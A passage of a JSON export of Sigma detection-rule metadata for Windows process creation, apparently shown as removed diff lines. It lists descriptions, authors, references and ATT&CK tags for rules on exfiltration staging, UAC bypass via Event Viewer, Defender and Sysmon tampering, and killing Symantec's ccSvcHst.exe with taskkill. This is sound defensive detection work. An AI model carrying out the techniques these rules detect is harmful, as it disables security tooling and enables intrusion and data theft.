"tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "b7b19cb6-9b32-4fc4-a108-73f19acfe262", - "value": "Suspicious VBoxDrvInst.exe Parameters" - }, - { - "description": "Detects suspicious inline VBScript keywords as used by UNC2452", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_vbscript_unc2452.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vbscript_unc2452.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "20c3f09d-c53d-4e85-8b74-6aa50e2f1b61", - "value": "Suspicious VBScript UN2452 Pattern" - }, - { - "description": "Detects commands that temporarily turn off Volume Snapshots", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/01/28", - "falsepositive": [ - "Legitimate administration" - ], - "filename": "proc_creation_win_susp_volsnap_disable.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_volsnap_disable.yml", - "https://twitter.com/0gtweet/status/1354766164166115331" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "dee4af55-1f22-4e1d-a9d2-4bdc7ecb472a", - "value": "Disabled Volume Snapshots" - }, - { - "description": "Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter", - "meta": { - "author": "bohops", - "creation_date": "2022/10/30", - "falsepositive": [ - "False positives depend on custom use of vsls-agent.exe" - ], - "filename": "proc_creation_win_susp_vslsagent_agentextensionpath_load.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vslsagent_agentextensionpath_load.yml", - "https://twitter.com/bohops/status/1583916360404729857" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "43103702-5886-11ed-9b6a-0242ac120002", - "value": "Suspicious Vsls-Agent Command With AgentExtensionPath Load" - }, - { - "description": "A General detection for svchost.exe spawning rundll32.exe with command arguments like C:\\windows\\system32\\davclnt.dll,DavSetCookie.\nThis could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server).\n", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_webdav_client_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/17", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_webdav_client_execution.yml", - "https://threathunterplaybook.com/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.html" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ] - }, - "uuid": "2dbd9d3d-9e27-42a8-b8df-f13825c6c3d5", - "value": "Suspicious WebDav Client Execution" - }, - { - "description": "Detects the use of various web request with commandline tools or Windows PowerShell command,methods (including aliases)", - "meta": { - "author": "James Pemberton / @4A616D6573", - "creation_date": "2019/10/24", - "falsepositive": [ - "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." - ], - "filename": "proc_creation_win_susp_web_request_cmd.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd.yml", - "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d", - "value": "Windows Suspicious Use Of Web Request in CommandLine" - }, - { - "description": "Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_web_sysaidserver.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_sysaidserver.yml", - "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/" - ], - "tags": "No established tags" - }, - "uuid": "60bfeac3-0d35-4302-8efb-1dd16f715bc6", - "value": "Suspicious SysAidServer Child" - }, - { - "description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) process patterns - suspicious parents / children, execution folders, command lines etc.", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_wermgr.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wermgr.yml", - "https://www.echotrail.io/insights/search/wermgr.exe" - ], - "tags": "No established tags" - }, - "uuid": "CBEC226F-63D9-4ECA-9F52-DFB6652F24DF", - "value": "Suspicious WERMGR Process Patterns" - }, - { - "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2021/12/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_where_execution.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_where_execution.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1217" - ] - }, - "uuid": "725a9768-0f5e-4cb3-aec2-bc5719c6831a", - "value": "Suspicious Where Execution" - }, - { - "description": "Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation but rarely used by administrators", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/08/13", - "falsepositive": [ - "Admin activity", - "Scripts and administrative tools used in the monitored environment", - "Monitoring activity" - ], - "filename": "proc_creation_win_susp_whoami.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami.yml", - "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "car.2016-03-001" - ] - }, - "uuid": "e28a5a99-da44-436d-b7a0-2afc20a5f413", - "value": "Whoami Execution" - }, - { - "description": "Detects the execution of whoami with suspicious parents or parameters", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/08/12", - "falsepositive": [ - "Admin activity", - "Scripts and administrative tools used in the monitored environment", - "Monitoring activity" - ], - "filename": "proc_creation_win_susp_whoami_anomaly.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", - "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_anomaly.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "car.2016-03-001" - ] - }, - "uuid": "8de1cbe8-d6f5-496d-8237-5f44a721c7a0", - "value": "Whoami Execution Anomaly" - }, - { - "description": "Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_whoami_as_param.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/blackarrowsec/status/1463805700602224645?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_as_param.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "car.2016-03-001" - ] - }, - "uuid": "e9142d84-fbe0-401d-ac50-3e519fb00c89", - "value": "WhoAmI as Parameter" - }, - { - "description": "Detects a suspicious winrar execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/04", - "falsepositive": [ - "Legitimate use of WinRAR with a command line in which .dmp appears accidentally" - ], - "filename": "proc_creation_win_susp_winrar_dmp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_dmp.yml", - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ] - }, - "uuid": "1ac14d38-3dfc-4635-92c7-e3fd1c5f5bfc", - "value": "Winrar Compressing Dump Files" - }, - { - "description": "Detects a suspicious winrar execution in a folder which is not the default installation folder", - "meta": { - "author": "Florian Roth, Tigzy", - "creation_date": "2021/11/17", - "falsepositive": [ - "Legitimate use of WinRAR in a folder of a software that bundles WinRAR" - ], - "filename": "proc_creation_win_susp_winrar_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_execution.yml", - "https://twitter.com/cyb3rops/status/1460978167628406785" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ] - }, - "uuid": "4ede543c-e098-43d9-a28f-dd784a13132f", - "value": "Winrar Execution in Non-Standard Folder" - }, - { - "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", - "meta": { - "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_winrm_awl_bypass.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_awl_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "074e0ded-6ced-4ebd-8b4d-53f55908119d", - "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl" - }, - { - "description": "Detects an attempt to execute code or create service on remote host via winrm.vbs.", - "meta": { - "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/07", - "falsepositive": [ - "Legitimate use for administartive purposes. Unlikely" - ], - "filename": "proc_creation_win_susp_winrm_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/lateral-movement-winrm-wmi/", - "https://twitter.com/bohops/status/994405551751815170", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "9df0dd3a-1a5c-47e3-a2bc-30ed177646a0", - "value": "Remote Code Execute via Winrm.vbs" - }, - { - "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", - "meta": { - "author": "frack113", - "creation_date": "2021/07/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_winzip.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winzip.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ] - }, - "uuid": "e2e80da2-8c66-4e00-ae3c-2eebd29f6b6d", - "value": "Compress Data and Lock With Password for Exfiltration With WINZIP" - }, - { - "description": "Detects WMIC executions in which a event consumer gets created in order to establish persistence", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/06/25", - "falsepositive": [ - "Legitimate software creating script event consumers" - ], - "filename": "proc_creation_win_susp_wmic_eventconsumer_create.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_eventconsumer_create.yml", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", - "https://twitter.com/johnlatwc/status/1408062131321270282?s=12" - ], - "tags": [ - "attack.persistence", - "attack.t1546.003" - ] - }, - "uuid": "ebef4391-1a81-4761-a40a-1db446c0e625", - "value": "Suspicious WMIC ActiveScriptEventConsumer Creation" - }, - { - "description": "Detects WMIC executing suspicious or recon commands", - "meta": { - "author": "Michael Haag, Florian Roth, juju4, oscd.community", - "creation_date": "2019/01/16", - "falsepositive": [ - "If using Splunk, we recommend | stats count by Computer,CommandLine following for easy hunting by Computer/CommandLine" - ], - "filename": "proc_creation_win_susp_wmic_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://digital-forensics.sans.org/blog/2010/06/04/wmic-draft/", - "https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_execution.yml", - "https://blog.malwarebytes.com/threat-analysis/2016/04/rokku-ransomware/" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "car.2016-03-002" - ] - }, - "uuid": "526be59f-a573-4eea-b5f7-f0973207634d", - "value": "Suspicious WMIC Execution" - }, - { - "description": "Detects WMIC executing \"process call create\" with suspicious calls to processes such as \"rundll32\", \"regsrv32\"...etc", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_wmic_proc_create.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://thedfirreport.com/2020/10/08/ryuks-return/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_proc_create.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "3c89a1e8-0fba-449e-8f1b-8409d6267ec8", - "value": "Suspicious WMIC Execution - ProcessCallCreate" - }, - { - "description": "Detects uninstallation or termination of security products using the WMIC utility", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2021/01/30", - "falsepositive": [ - "Legitimate administration" - ], - "filename": "proc_creation_win_susp_wmic_security_product_uninstall.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_security_product_uninstall.yml", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://twitter.com/cglyer/status/1355171195654709249" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "847d5ff3-8a31-4737-a970-aeae8fe21765", - "value": "Wmic Uninstall Security Product" - }, - { - "description": "Detects using WorkFolders.exe to execute an arbitrary control.exe", - "meta": { - "author": "Maxime Thiebaut (@0xThiebaut)", - "creation_date": "2021/10/21", - "falsepositive": [ - "Legitimate usage of the uncommon Windows Work Folders feature." - ], - "filename": "proc_creation_win_susp_workfolders.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml", - "https://twitter.com/elliotkillick/status/1449812843772227588" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "0bbc6369-43e3-453d-9944-cae58821c173", - "value": "Execution via WorkFolders.exe" - }, - { - "description": "Detects code execution via the Windows Update client (wuauclt)", - "meta": { - "author": "FPT.EagleEye Team", - "creation_date": "2020/10/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_wuauclt.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://dtm.uk/wuauclt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.execution", - "attack.t1105", - "attack.t1218" - ] - }, - "uuid": "d7825193-b70a-48a4-b992-8b5b3015cc11", - "value": "Windows Update Client LOLBIN" - }, - { - "description": "Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_wuauclt_cmdline.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt_cmdline.yml", - "https://redcanary.com/blog/blackbyte-ransomware/" - ], - "tags": "No established tags" - }, - "uuid": "52d097e2-063e-4c9c-8fbb-855c8948d135", - "value": "Suspicious Windows Update Agent Empty Cmdline" - }, - { - "description": "ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.", - "meta": { - "author": "frack113", - "creation_date": "2021/11/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_zipexec.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/Tylous/ZipExec", - "https://twitter.com/SBousseaden/status/1451237393017839616", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zipexec.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218", - "attack.t1202" - ] - }, - "uuid": "90dcf730-1b71-4ae7-9ffc-6fcf62bd0132", - "value": "Suspicious ZipExec Execution" - }, - { - "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", - "meta": { - "author": "frack113", - "creation_date": "2021/07/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_zip_compress.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zip_compress.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md" - ], - "tags": [ - "attack.collection", - "attack.t1074.001" - ] - }, - "uuid": "85a8e5ba-bd03-4bfb-bbfa-a4409a8f8b98", - "value": "Zip A Folder With PowerShell For Staging In Temp" - }, - { - "description": "Threat actors can use auditpol binary to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", - "meta": { - "author": "Janantha Marasinghe (https://github.com/blueteam0ps)", - "creation_date": "2021/02/02", - "falsepositive": [ - "Admin activity" - ], - "filename": "proc_creation_win_sus_auditpol_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sus_auditpol_usage.yml", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ] - }, - "uuid": "0a13e132-651d-11eb-ae93-0242ac130002", - "value": "Suspicious Auditpol Usage" - }, - { - "description": "Detects the usage of Sysinternals Tools due to accepteula option being seen in the command line.", - "meta": { - "author": "Markus Neis", - "creation_date": "2017/08/28", - "falsepositive": [ - "Legitimate use of SysInternals tools", - "Programs that use the same Registry Key" - ], - "filename": "proc_creation_win_sysinternals_eula_accepted.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/Moti_B/status/1008587936735035392", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_eula_accepted.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ] - }, - "uuid": "7cccd811-7ae9-4ebe-9afd-cb5c406b824b", - "value": "Usage of Sysinternals Tools" - }, - { - "description": "Detects usage of Sysinternals PsService for service reconnaissance or tamper", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/16", - "falsepositive": [ - "Legitimate use of PsService by an administrator" - ], - "filename": "proc_creation_win_sysinternals_psservice.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psservice", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psservice.yml" - ], - "tags": [ - "attack.discovery", - "attack.persistence", - "attack.t1543.003" - ] - }, - "uuid": "3371f518-5fe3-4cf6-a14b-2a0ae3fd8a4f", - "value": "Use of Sysinternals PsService" - }, - { - "description": "Detects the use of SharpEvtHook, a tool to tamper with Windows event logs", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/09/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sysmon_disable_sharpevtmute.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/bats3c/EvtMute", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_disable_sharpevtmute.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ] - }, - "uuid": "bedfc8ad-d1c7-4e37-a20e-e2b0dbee759c", - "value": "SharpEvtMute EvtMuteHook Load" - }, - { - "description": "Detect possible Sysmon driver unload", - "meta": { - "author": "Kirill Kiryanov, oscd.community", - "creation_date": "2019/10/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sysmon_driver_unload.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_driver_unload.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.t1562", - "attack.t1562.002" - ] - }, - "uuid": "4d7cda18-1b12-4e52-b45c-d28653210df8", - "value": "Sysmon Driver Unload" - }, - { - "description": "Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/11/10", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sysmon_exploitation.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41120", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_exploitation.yml", - "https://twitter.com/filip_dragovic/status/1590104354727436290", - "https://twitter.com/filip_dragovic/status/1590052248260055041" - ], - "tags": "No established tags" - }, - "uuid": "6d1058a4-407e-4f3a-a144-1968c11dc5c3", - "value": "Suspicious Sysmon as Execution Parent" - }, - { - "description": "Detects UAC bypass method using Windows event viewer", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sysmon_uac_bypass_eventvwr.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_uac_bypass_eventvwr.yml", - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "car.2019-04-001" - ] - }, - "uuid": "be344333-921d-4c4d-8bb8-e584cf584780", - "value": "UAC Bypass via Event Viewer" - }, - { - "description": "Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)", - "meta": { - "author": "Max Altgelt", - "creation_date": "2022/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sysnative.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysnative.yml" - ], - "tags": [ - "attack.t1055" - ] - }, - "uuid": "3c1b5fb0-c72f-45ba-abd1-4d4c353144ab", - "value": "Process Creation Using Sysnative Folder" - }, - { - "description": "Detects a Windows program executable started from a suspicious folder", - "meta": { - "author": "Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali", - "creation_date": "2017/11/27", - "falsepositive": [ - "Exotic software" - ], - "filename": "proc_creation_win_system_exe_anomaly.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://asec.ahnlab.com/en/39828/", - "https://twitter.com/GelosSnake/status/934900723426439170", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_system_exe_anomaly.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ] - }, - "uuid": "e4a6b256-3e47-40fc-89d2-7a477edd6915", - "value": "System File Execution Location Anomaly" - }, - { - "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/05", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "proc_creation_win_tamper_defender_remove_mppreference.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tamper_defender_remove_mppreference.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "07e3cb2c-0608-410d-be4b-1511cb1a0448", - "value": "Tamper Windows Defender Remove-MpPreference" - }, - { - "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques", - "meta": { - "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate OpenVPN TAP insntallation" - ], - "filename": "proc_creation_win_tap_installer_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tap_installer_execution.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048" - ] - }, - "uuid": "99793437-3e16-439b-be0f-078782cf953d", - "value": "Tap Installer Execution" - }, - { - "description": "Detects one of the possible scenarios for disabling symantec endpoint protection.\nSymantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism.\nAs a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.\n", - "meta": { - "author": "Ilya Krestinichev, Florian Roth", - "creation_date": "2022/09/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_taskkill_sep.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml", - "https://www.exploit-db.com/exploits/37525", - "https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer", - 